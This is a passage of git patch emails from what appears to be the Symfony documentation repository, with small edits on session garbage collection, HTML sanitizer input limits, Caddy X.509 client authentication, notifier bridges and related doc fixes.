 * :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
+* :doc:`PasswordStrength </reference/constraints/PasswordStrength>`
 * :doc:`CssColor </reference/constraints/CssColor>`
 * :doc:`NoSuspiciousCharacters </reference/constraints/NoSuspiciousCharacters>`
 

From 9c1355053fca69de387fe880712b3341e7f6a573 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 30 Mar 2023 20:01:51 +0200
Subject: [PATCH 4513/7107] Adding section "Configuring Garbage Collection"

I just copied this over from https://symfony.com/doc/3.4/components/http_foundation/session_configuration.html#configuring-garbage-collection
cause the info about `null` isn't mentioned anywhere else.
---
 session.rst | 33 +++++++++++++++++++++++++++++++++
 1 file changed, 33 insertions(+)

diff --git a/session.rst b/session.rst
index 5adf9c8aeb0..4dcff3432d0 100644
--- a/session.rst
+++ b/session.rst
@@ -446,6 +446,39 @@ particular cookie by reading the ``getLifetime()`` method::
 The expiry time of the cookie can be determined by adding the created
 timestamp and the lifetime.
 
+Configuring Garbage Collection
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When a session opens, PHP will call the ``gc`` handler randomly according to the
+probability set by ``session.gc_probability`` / ``session.gc_divisor``. For
+example if these were set to ``5/100`` respectively, it would mean a probability
+of 5%. Similarly, ``3/4`` would mean a 3 in 4 chance of being called, i.e. 75%.
+
+If the garbage collection handler is invoked, PHP will pass the value stored in
+the ``php.ini`` directive ``session.gc_maxlifetime``. The meaning in this context is
+that any stored session that was saved more than ``gc_maxlifetime`` ago should be
+deleted. This allows one to expire records based on idle time.
+
+However, some operating systems (e.g. Debian) do their own session handling and set
+the ``session.gc_probability`` variable to ``0`` to stop PHP doing garbage
+collection. That's why Symfony now overwrites this value to ``1``.
+
+If you wish to use the original value set in your ``php.ini``, add the following
+configuration:
+
+.. code-block:: yaml
+
+    # config.yml
+    framework:
+        session:
+            gc_probability: null
+
+You can configure these settings by passing ``gc_probability``, ``gc_divisor``
+and ``gc_maxlifetime`` in an array to the constructor of
+:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage`
+or to the :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage::setOptions`
+method.
+
 .. _session-database:
 
 Store Sessions in a Database

From 5f0a2e8392a297eb2f69b60c7d50842866a31f17 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 30 Mar 2023 19:29:14 +0200
Subject: [PATCH 4514/7107] Use Doctor RST 1.42.1 and new Rule
 `ForbiddenDirectives`

---
 .doctor-rst.yaml          | 3 +++
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 4 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 3bca2485231..8a15e17fbb9 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -18,6 +18,9 @@ rules:
     ensure_order_of_code_blocks_in_configuration_block: ~
     extend_abstract_controller: ~
     extension_xlf_instead_of_xliff: ~
+    forbidden_directives:
+        directives:
+            - '.. index::'
     indention: ~
     lowercase_as_in_use_statements: ~
     max_blank_lines:
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index a240982650a..91e5d0212a6 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.41.3
+                uses: docker://oskarstark/doctor-rst:1.42.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From bc7916737d5bde7a1dcdc4429350b3de28127ca5 Mon Sep 17 00:00:00 2001
From: homersimpsons <guillaume.alabre@gmail.com>
Date: Fri, 31 Mar 2023 11:51:24 +0200
Subject: [PATCH 4515/7107] [Process] :memo: process: `create_new_console` is
 only for windows

---
 components/process.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/process.rst b/components/process.rst
index 12ee096df4e..a0a312512bc 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -113,6 +113,11 @@ You can configure the options passed to the ``other_options`` argument of
     // this option allows a subprocess to continue running after the main script exited
     $process->setOptions(['create_new_console' => true]);
 
+.. note::
+
+    The ``create_new_console`` option is only available on Windows!
+
+
 Using Features From the OS Shell
 --------------------------------
 

From 1fd4f07e8762939419e9dc07e69475796aa73739 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Sat, 1 Apr 2023 11:58:55 +0200
Subject: [PATCH 4516/7107] complement lazy service autowiring

---
 service_container/lazy_services.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index ac859958f19..8271fc84800 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -120,6 +120,15 @@ You can also configure laziness when your service is injected with the
         }
     }
 
+This attribute also allows you to define the interfaces to proxy when using
+laziness, and supports lazy-autowiring of intersection types::
+
+    public function __construct(
+        #[Autowire(service: 'foo', lazy: FooInterface::class)]
+        FooInterface|BarInterface $foo,
+    ) {
+    }
+
 .. versionadded:: 6.3
 
     The ``lazy`` argument of the ``#[Autowire()]`` attribute was introduced in

From e27d369ad0ada4d8b6b42d86b60df101185561a2 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Sat, 1 Apr 2023 13:37:58 +0200
Subject: [PATCH 4517/7107] fix link to psr7 bridge classes

---
 components/psr7.rst | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/components/psr7.rst b/components/psr7.rst
index f8a3915a816..eb5ff8196a9 100644
--- a/components/psr7.rst
+++ b/components/psr7.rst
@@ -29,9 +29,9 @@ Usage
 Converting from HttpFoundation Objects to PSR-7
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The bridge provides an interface of a factory called
-:class:`Symfony\\Bridge\\PsrHttpMessage\\HttpMessageFactoryInterface`
-that builds objects implementing PSR-7 interfaces from HttpFoundation objects.
+The bridge provides an interface of a factory called 
+`HttpMessageFactoryInterface`_ that builds objects implementing PSR-7
+interfaces from HttpFoundation objects.
 
 The following code snippet explains how to convert a :class:`Symfony\\Component\\HttpFoundation\\Request`
 to a ``Nyholm\Psr7\ServerRequest`` class implementing the
@@ -66,8 +66,8 @@ Converting Objects implementing PSR-7 Interfaces to HttpFoundation
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 On the other hand, the bridge provide a factory interface called
-:class:`Symfony\\Bridge\\PsrHttpMessage\\HttpFoundationFactoryInterface`
-that builds HttpFoundation objects from objects implementing PSR-7 interfaces.
+`HttpFoundationFactoryInterface`_ that builds HttpFoundation objects from
+objects implementing PSR-7 interfaces.
 
 The next snippet explain how to convert an object implementing the
 ``Psr\Http\Message\ServerRequestInterface`` interface to a
@@ -93,3 +93,5 @@ to a :class:`Symfony\\Component\\HttpFoundation\\Response` instance::
 .. _`PSR-7`: https://www.php-fig.org/psr/psr-7/
 .. _`PSR-17`: https://www.php-fig.org/psr/psr-17/
 .. _`libraries that implement psr/http-factory-implementation`: https://packagist.org/providers/psr/http-factory-implementation
+.. _`HttpMessageFactoryInterface`: https://github.com/symfony/psr-http-message-bridge/blob/main/HttpMessageFactoryInterface.php
+.. _`HttpFoundationFactoryInterface`: https://github.com/symfony/psr-http-message-bridge/blob/main/HttpFoundationFactoryInterface.php

From 83fa5c62a668c5489f2027dd3398072bce0bdedc Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent.morselli@spomky-labs.com>
Date: Sun, 2 Apr 2023 20:23:45 +0200
Subject: [PATCH 4518/7107] Add caddy server configuration for Client
 Authentication (X509)

---
 security.rst | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/security.rst b/security.rst
index ca65bdea061..a9b6f4bc092 100644
--- a/security.rst
+++ b/security.rst
@@ -1253,6 +1253,32 @@ and to expose the certificate's DN to the Symfony application:
         # pass the DN to the application
         SSLOptions +StdEnvVars
 
+    .. code-block:: caddy
+
+        tls {
+            client_auth {
+                mode verify_if_given # Please refer to the Caddy documentation for more information
+                trusted_ca_cert_file /path/to/my-custom-CA.pem
+            }
+        }
+
+        route {
+            # Other configuration options go here
+
+            php_fastcgi unix//var/run/php/php-fpm.sock {
+                env SSL_CLIENT_S_DN {tls_client_subject}
+
+                # Environment variables for other certificate fields that you might need.
+                # They are not used by Symfony, but you can use them in your application.
+                # All placeholders can be found at https://caddyserver.com/docs/caddyfile/concepts#placeholders
+                env SSL_CLIENT_S_FINGERPRINT {tls_client_fingerprint}
+                env SSL_CLIENT_S_CERTIFICATE {tls_client_certificate_der_base64}
+                env SSL_CLIENT_S_ISSUER {tls_client_issuer}
+                env SSL_CLIENT_S_SERIAL {tls_client_serial}
+                env SSL_CLIENT_S_VERSION {tls_version}
+            }
+        }
+
 Then, enable the X.509 authenticator using ``x509`` on your firewall:
 
 .. configuration-block::

From 83d751e63fb416cc605dc3b09b355446f7cfffa3 Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Fri, 31 Mar 2023 16:38:26 -0400
Subject: [PATCH 4519/7107] fix missing 'private' declaration

---
 security/access_denied_handler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 1f36a86b52e..745c68da79d 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -34,7 +34,7 @@ unauthenticated user tries to access a protected resource::
     class AuthenticationEntryPoint implements AuthenticationEntryPointInterface
     {
         public function __construct(
-            UrlGeneratorInterface $urlGenerator,
+            private UrlGeneratorInterface $urlGenerator,
         ) {
         }
 

From 179f26e08d8a7389fac5275ec34c6d193990fb38 Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Sun, 2 Apr 2023 13:19:03 +0200
Subject: [PATCH 4520/7107] Fix bug return type of closure

---
 form/use_empty_data.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/use_empty_data.rst b/form/use_empty_data.rst
index 3782bb9866f..85d6d750a25 100644
--- a/form/use_empty_data.rst
+++ b/form/use_empty_data.rst
@@ -94,7 +94,7 @@ The closure must accept a ``FormInterface`` instance as the first argument::
     public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
-            'empty_data' => function (FormInterface $form) {
+            'empty_data' => function (FormInterface $form): Blog {
                 return new Blog($form->get('title')->getData());
             },
         ]);

From ce02cd42f909e8984b1fc84bffe03662a660ab11 Mon Sep 17 00:00:00 2001
From: "t.le-gacque" <t.le-gacque@groupeonepoint.com>
Date: Thu, 30 Mar 2023 18:20:44 +0200
Subject: [PATCH 4521/7107] Update HTML Sanitizer doc for `max_input_length`
 option

---
 html_sanitizer.rst | 69 ++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 69 insertions(+)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index a75b0a02562..423165f9549 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -931,6 +931,75 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
                 ->allowRelativeMedias()
         );
 
+Configure max input length
+~~~~~~~~~~~~~~~~~~~~~
+
+Using this option, you can change the default max input length of ``20000`` characters.
+Any input longer than this value will be truncated.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        # ...
+
+                        # specifies the max input length. Inputs longer than this value will be
+                        # truncated (default: 20000)
+                        max_input_length: 20000
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:html-sanitizer>
+                    <framework:sanitizer name="app.post_sanitizer">
+                        <!-- specifies the max input length. Inputs longer than this value will be
+                            truncated (default: 20000) -->
+                        <framework:max-input-length>20000</framework:max-input-length>
+                    </framework:sanitizer>
+                </framework:html-sanitizer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    // specifies the max input length. Inputs longer than this value will be
+                    // truncated (default: 20000)
+                    ->withMaxInputLength(20000)
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                // specifies the max input length. Inputs longer than this value will be
+                // truncated (default: 20000)
+                ->withMaxInputLength(20000)
+        );
+
 Custom Attribute Sanitizers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 6d2e21c25fbd11e3e686c25c79c4433dfc843223 Mon Sep 17 00:00:00 2001
From: "t.le-gacque" <t.le-gacque@groupeonepoint.com>
Date: Thu, 30 Mar 2023 18:23:22 +0200
Subject: [PATCH 4522/7107] Update HTML Sanitizer doc for `max_input_length`
 option

---
 html_sanitizer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index 423165f9549..be8679c68e8 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -932,7 +932,7 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
         );
 
 Configure max input length
-~~~~~~~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Using this option, you can change the default max input length of ``20000`` characters.
 Any input longer than this value will be truncated.

From 7011d17185281ccb17645fbd17d0f5390730d0b5 Mon Sep 17 00:00:00 2001
From: "t.le-gacque" <t.le-gacque@groupeonepoint.com>
Date: Fri, 31 Mar 2023 11:18:32 +0200
Subject: [PATCH 4523/7107] Update HTML Sanitizer doc for `max_input_length`
 option

---
 html_sanitizer.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index be8679c68e8..75cf4bb7936 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -931,11 +931,12 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
                 ->allowRelativeMedias()
         );
 
-Configure max input length
+Configure Max input length
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Using this option, you can change the default max input length of ``20000`` characters.
-Any input longer than this value will be truncated.
+To prevent DoS attacks, the HTML sanitizer limits the input length to ``20000`` by default.
+Using this option, you can change the max input length.
+Inputs longer than this value will be truncated.
 
 .. configuration-block::
 

From 370b3d9547ec2bee298e560b8c56401108b4b757 Mon Sep 17 00:00:00 2001
From: Tristan <tristanlegacque@orange.fr>
Date: Fri, 31 Mar 2023 17:32:57 +0200
Subject: [PATCH 4524/7107] Apply suggestions from code review

Co-authored-by: Oskar Stark <oskarstark@googlemail.com>
---
 html_sanitizer.rst | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index 75cf4bb7936..aa30a01835c 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -931,12 +931,11 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
                 ->allowRelativeMedias()
         );
 
-Configure Max input length
-~~~~~~~~~~~~~~~~~~~~~~~~~~
+Max Input Length
+~~~~~~~~~~~~~~~~
 
 To prevent DoS attacks, the HTML sanitizer limits the input length to ``20000`` by default.
-Using this option, you can change the max input length.
-Inputs longer than this value will be truncated.
+Using this option, you can change the max input length, Inputs longer than this value will be truncated.
 
 .. configuration-block::
 
@@ -950,8 +949,7 @@ Inputs longer than this value will be truncated.
                         # ...
 
                         # specifies the max input length. Inputs longer than this value will be
-                        # truncated (default: 20000)
-                        max_input_length: 20000
+                        max_input_length: 30000 # default: 20000
 
     .. code-block:: xml
 

From e39cbf6dbc6ab2e0c65dcc5ebef120edf78c96fe Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Apr 2023 10:56:24 +0200
Subject: [PATCH 4525/7107] Tweaks

---
 html_sanitizer.rst | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index aa30a01835c..9aa26bbe37e 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -934,8 +934,10 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
 Max Input Length
 ~~~~~~~~~~~~~~~~
 
-To prevent DoS attacks, the HTML sanitizer limits the input length to ``20000`` by default.
-Using this option, you can change the max input length, Inputs longer than this value will be truncated.
+In order to prevent `DoS attacks`_, by default the HTML sanitizer limits the
+input length to ``20000`` characters (as measured by ``strlen($input)``). All
+the contents exceeding that length will be truncated. Use this option to
+increase or decrease this limit:
 
 .. configuration-block::
 
@@ -948,7 +950,7 @@ Using this option, you can change the max input length, Inputs longer than this
                     app.post_sanitizer:
                         # ...
 
-                        # specifies the max input length. Inputs longer than this value will be
+                        # inputs longer (in characters) than this value will be truncated
                         max_input_length: 30000 # default: 20000
 
     .. code-block:: xml
@@ -965,8 +967,7 @@ Using this option, you can change the max input length, Inputs longer than this
             <framework:config>
                 <framework:html-sanitizer>
                     <framework:sanitizer name="app.post_sanitizer">
-                        <!-- specifies the max input length. Inputs longer than this value will be
-                            truncated (default: 20000) -->
+                        <!-- inputs longer (in characters) than this value will be truncated (default: 20000) -->
                         <framework:max-input-length>20000</framework:max-input-length>
                     </framework:sanitizer>
                 </framework:html-sanitizer>
@@ -981,8 +982,7 @@ Using this option, you can change the max input length, Inputs longer than this
         return static function (FrameworkConfig $framework) {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
-                    // specifies the max input length. Inputs longer than this value will be
-                    // truncated (default: 20000)
+                    // inputs longer (in characters) than this value will be truncated (default: 20000)
                     ->withMaxInputLength(20000)
             ;
         };
@@ -994,8 +994,7 @@ Using this option, you can change the max input length, Inputs longer than this
 
         $postSanitizer = new HtmlSanitizer(
             (new HtmlSanitizerConfig())
-                // specifies the max input length. Inputs longer than this value will be
-                // truncated (default: 20000)
+                // inputs longer (in characters) than this value will be truncated (default: 20000)
                 ->withMaxInputLength(20000)
         );
 
@@ -1081,3 +1080,4 @@ to enable it for an HTML sanitizer:
 
 .. _`HTML Sanitizer W3C Standard Proposal`: https://wicg.github.io/sanitizer-api/
 .. _`W3C Standard Proposal`: https://wicg.github.io/sanitizer-api/
+.. _`DoS attacks`: https://en.wikipedia.org/wiki/Denial-of-service_attack

From 56f05a8ccbee8c9fbc71e5dead9c7997c76422f8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Apr 2023 12:27:26 +0200
Subject: [PATCH 4526/7107] Tweaks

---
 session.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/session.rst b/session.rst
index 4dcff3432d0..1124eea36a8 100644
--- a/session.rst
+++ b/session.rst
@@ -412,7 +412,7 @@ logged in by destroying the session after a certain period of idle time. For
 example, it is common for banking applications to log the user out after just
 5 to 10 minutes of inactivity. Setting the cookie lifetime here is not
 appropriate because that can be manipulated by the client, so we must do the expiry
-on the server side. The easiest way is to implement this via garbage collection
+on the server side. The easiest way is to implement this via :ref:`session garbage collection <session-garbage-collection>`
 which runs reasonably frequently. The ``cookie_lifetime`` would be set to a
 relatively high value, and the garbage collection ``gc_maxlifetime`` would be set
 to destroy sessions at whatever the desired idle period is.
@@ -446,6 +446,8 @@ particular cookie by reading the ``getLifetime()`` method::
 The expiry time of the cookie can be determined by adding the created
 timestamp and the lifetime.
 
+.. _session-garbage-collection:
+
 Configuring Garbage Collection
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -468,9 +470,10 @@ configuration:
 
 .. code-block:: yaml
 
-    # config.yml
+    # config/packages/framework.yaml
     framework:
         session:
+            # ...
             gc_probability: null
 
 You can configure these settings by passing ``gc_probability``, ``gc_divisor``

From 820e943319679ac557dacd8daea7510780acfb92 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Apr 2023 13:11:44 +0200
Subject: [PATCH 4527/7107] Tweaks

---
 security.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security.rst b/security.rst
index a9b6f4bc092..45368f269e4 100644
--- a/security.rst
+++ b/security.rst
@@ -1257,7 +1257,7 @@ and to expose the certificate's DN to the Symfony application:
 
         tls {
             client_auth {
-                mode verify_if_given # Please refer to the Caddy documentation for more information
+                mode verify_if_given # check the Caddy documentation for more information
                 trusted_ca_cert_file /path/to/my-custom-CA.pem
             }
         }
@@ -1270,7 +1270,7 @@ and to expose the certificate's DN to the Symfony application:
 
                 # Environment variables for other certificate fields that you might need.
                 # They are not used by Symfony, but you can use them in your application.
-                # All placeholders can be found at https://caddyserver.com/docs/caddyfile/concepts#placeholders
+                # See all placeholders: https://caddyserver.com/docs/caddyfile/concepts#placeholders
                 env SSL_CLIENT_S_FINGERPRINT {tls_client_fingerprint}
                 env SSL_CLIENT_S_CERTIFICATE {tls_client_certificate_der_base64}
                 env SSL_CLIENT_S_ISSUER {tls_client_issuer}

From 226f4b9d72d0aa1184d9c12bec70a7f36f3cbf4a Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Sun, 2 Apr 2023 01:11:15 +0200
Subject: [PATCH 4528/7107] Task object instead of id as param

Thanks to paramconverter we can get Task object  directly instea of putting the ID and w can throw automaically an exception if it's not found
---
 form/form_collections.rst | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 7922bc3f3a1..540f8d50377 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -598,12 +598,8 @@ the relationship between the removed ``Tag`` and ``Task`` object.
 
         class TaskController extends AbstractController
         {
-            public function edit($id, Request $request, EntityManagerInterface $entityManager): Response
+            public function edit(Task $task, Request $request, EntityManagerInterface $entityManager): Response
             {
-                if (null === $task = $entityManager->getRepository(Task::class)->find($id)) {
-                    throw $this->createNotFoundException('No task found for id '.$id);
-                }
-
                 $originalTags = new ArrayCollection();
 
                 // Create an ArrayCollection of the current Tag objects in the database

From 0cc962f49e772e53d6b3051732a1919e69a0ad11 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Mon, 5 Dec 2022 14:42:49 -0400
Subject: [PATCH 4529/7107] [Notifier] Add SimpleTextin bridge

---
 notifier.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 03e70875d51..76777616bac 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -86,6 +86,7 @@ Service             Package                                DSN
 `Sendberry`_        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
 `Sendinblue`_       ``symfony/sendinblue-notifier``        ``sendinblue://API_KEY@default?sender=PHONE``
 `Sms77`_            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
+`SimpleTextin`_     ``symfony/simple-textin-notifier``     ``simpletextin://API_KEY@default?from=FROM``
 `Sinch`_            ``symfony/sinch-notifier``             ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
 `Smsapi`_           ``symfony/smsapi-notifier``            ``smsapi://TOKEN@default?from=FROM``
 `SmsBiuras`_        ``symfony/sms-biuras-notifier``        ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
@@ -111,8 +112,8 @@ Service             Package                                DSN
 
 .. versionadded:: 6.3
 
-    The Bandwith, iSendPro, Plivo, RingCentral and Termii integrations were introduced
-    in Symfony 6.3.
+    The Bandwith, iSendPro, Plivo, RingCentral, SimpleTextin and Termii integrations
+    were introduced in Symfony 6.3.
     The ``from`` option in ``Smsapi`` DSN is optional since Symfony 6.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
@@ -1004,6 +1005,7 @@ is dispatched. Listeners receive a
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md
 .. _`Sendberry`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendberry/README.md
 .. _`Sendinblue`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendinblue/README.md
+.. _`SimpleTextin`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SimpleTextin/README.md
 .. _`Sinch`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sinch/README.md
 .. _`Slack`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Slack/README.md
 .. _`Sms77`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sms77/README.md

From 9c3023ee47a923976fd349ae26b0c9157ec3117b Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Fri, 30 Sep 2022 14:42:31 +0200
Subject: [PATCH 4530/7107] [Security] Add caution on symfony cli web server
 exposing env vars on private network

---
 setup/symfony_server.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 43bd1442749..44a1842e1fe 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -11,6 +11,13 @@ other features that sooner or later you'll need when developing web projects.
 Moreover, the server is not tied to Symfony and you can also use it with any
 PHP application and even with HTML or single page applications.
 
+.. caution::
+
+    This server will automatically expose all environment variables available
+    in the CLI tool context, **which can lead to security issues**.
+    One should assert that its server is not accessible on local network without
+    consent.
+
 Installation
 ------------
 

From e81818e8e645dfa623991d1925bdc3d81728fc9f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Apr 2023 17:53:26 +0200
Subject: [PATCH 4531/7107] Reword

---
 setup/symfony_server.rst | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 98a3472b9c6..4eed13ddf40 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -11,13 +11,6 @@ other features that sooner or later you'll need when developing web projects.
 Moreover, the server is not tied to Symfony and you can also use it with any
 PHP application and even with HTML or single page applications.
 
-.. caution::
-
-    This server will automatically expose all environment variables available
-    in the CLI tool context, **which can lead to security issues**.
-    One should assert that its server is not accessible on local network without
-    consent.
-
 Installation
 ------------
 
@@ -507,6 +500,12 @@ its location, same as for ``docker-compose``:
     ``symfony console doctrine:database:drop --force --env=test``, the command will drop the database
     defined in your Docker configuration and not the "test" one.
 
+.. caution::
+
+    Similar to other web servers, this tool automatically exposes all environment
+    variables available in the CLI context. Ensure that this local server is not
+    accessible on your local network without consent you avoid security issues.
+
 Platform.sh Integration
 -----------------------
 

From 723be1326970c5f92528172b9b88858f2a25bd8e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Apr 2023 17:55:25 +0200
Subject: [PATCH 4532/7107] Add some content that should have been merged in
 5.4 branch

---
 setup/symfony_server.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 46e6889a48a..b1aa76c0d17 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -500,6 +500,12 @@ its location, same as for ``docker-compose``:
     ``symfony console doctrine:database:drop --force --env=test``, the command will drop the database
     defined in your Docker configuration and not the "test" one.
 
+.. caution::
+
+    Similar to other web servers, this tool automatically exposes all environment
+    variables available in the CLI context. Ensure that this local server is not
+    accessible on your local network without consent to avoid security issues.
+
 Platform.sh Integration
 -----------------------
 

From 829432fe51c8669c283cda9238e5d7f8f103ba96 Mon Sep 17 00:00:00 2001
From: Richard van Laak <rvanlaak@gmail.com>
Date: Wed, 5 Apr 2023 11:42:49 +0200
Subject: [PATCH 4533/7107] Small typo, additional backtick

---
 components/clock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/clock.rst b/components/clock.rst
index 9202a399638..2556d0da285 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -17,7 +17,7 @@ for different use cases:
 :class:`Symfony\\Component\\Clock\\MockClock`
     Commonly used in tests as a replacement for the ``NativeClock`` to be able
     to freeze and change the current time using either ``sleep()`` or ``modify()``.
